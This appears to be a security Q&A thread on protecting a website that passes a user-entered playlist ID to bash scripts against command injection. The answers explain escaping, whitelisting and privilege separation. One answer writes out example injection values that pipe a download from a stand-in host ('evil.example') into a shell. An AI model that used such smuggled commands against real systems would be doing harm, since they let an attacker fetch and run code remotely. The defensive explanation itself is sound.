1

I'm building a site that will use youtubeAPI to keep track of playlist changes. In order for 3rd party to use it I would supply a dialog box in which user would type his/hers playlistID - this would be read and then put as an argument into bash script that in turn runs curl/python scripts to connect with API (ran on my machine) and another bash script that would mkdirs on my disk.

Does this potentially endanger me/my files somehow ? Can someone input some magic command that would do "rm * -f" or similar malicious endeavor ? Should I use some external server instead of my machine ?

I know nothing about security, Ive read few topics here but didnt find similar problem.

1

The Issue

First, you asked about the danger of doing this. Functionality like this, if not properly implemented, may result in a critical vulnerability known as command injection, which generally allows an attacker to run arbitrary shell commands.

I do not know what language/framework your website uses, but let's assume it is PHP, and you have PHP code similar to the following:

system("/usr/local/bin/my_custom_bash_script -p " . $_POST["playlist_id"]);

This code takes a value submitted from the user (the playlist ID) and concatenates it with another string to run a shell command, which is usually passed to /bin/sh -c. Consider if the submitted playlist ID looks like:

; curl https://evil.example/install_backdoor | sh

or

<some_playlist_id>$(curl https://evil.example/install_backdoor | sh)

In the first case, a semicolon tells the shell that what follows should be executed as a separate command. In the second case, $(...) tells the shell to execute the contents in a subshell. There are various other special characters that the shell interprets that can be used for malice in these scenarios (e.g. |, ||, &&, `` etc.)

Mitigation

In PHP, for example, there exists escapeshellarg which is meant for this purpose. It ensures that whatever is passed to it is only treated as a single argument when passed to the shell. Depending on what language you are using, there should be an equivalent to this. Or, as other answers mentioned, you could use a regex to whitelist safe characters.

Since your scripts are calling other scripts, you should also watch out for 2nd order (or n-order) command injection vulnerabilities. Make sure none of those scripts you run are using eval or system-like functions with the untrusted data unless it has been thoroughly validated, or consider merging your functionality into the web application so that external scripts are not called at all.

| improve this answer | |
  • Thanks! I chose this as an answer but really all of you gave me different insights into how this might be safeguarded. Thanks for your help. – mgaak Jun 1 at 18:15
0

It does pose security concerns. You would have to sanitize the input properly., for example by:

INPUT=${INPUT//[^a-zA-Z0-9]/}

given that playlist IDs contain only latin letters and digits.

I would recommend testing this solution thoroughly before exposing it to actual external input and only running the script as a special user with no unnecessary privileges. That's what you should do anyway when serving external users, especially on your own machine.

| improve this answer | |
0

Yes this is potentially an issue since your site's input could be used to manipulate the execution of the script or how the script functions.

I'd even advise against having scripts run by a web application.

What you could do instead to add a layer of disconnection (although this isn't a solution in and of itself) for example:

  1. issue the requests into a local file sanitising user input;
  2. have a process (maybe on a cron job, or something that monitors the contents of a directory and picks up new files) running under an unprivileged account to read the file, sanitise its contents then pass it on to a 2nd process (or a 2nd phase of processing);
  3. run whatever actions you need to using that information and write the output to a file. check the output file's contents are what you expected;
  4. have the web application pick up the output file, sanitise its contents, then render the output;

Make sure each step of the process validates input as if you didn't trust it.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.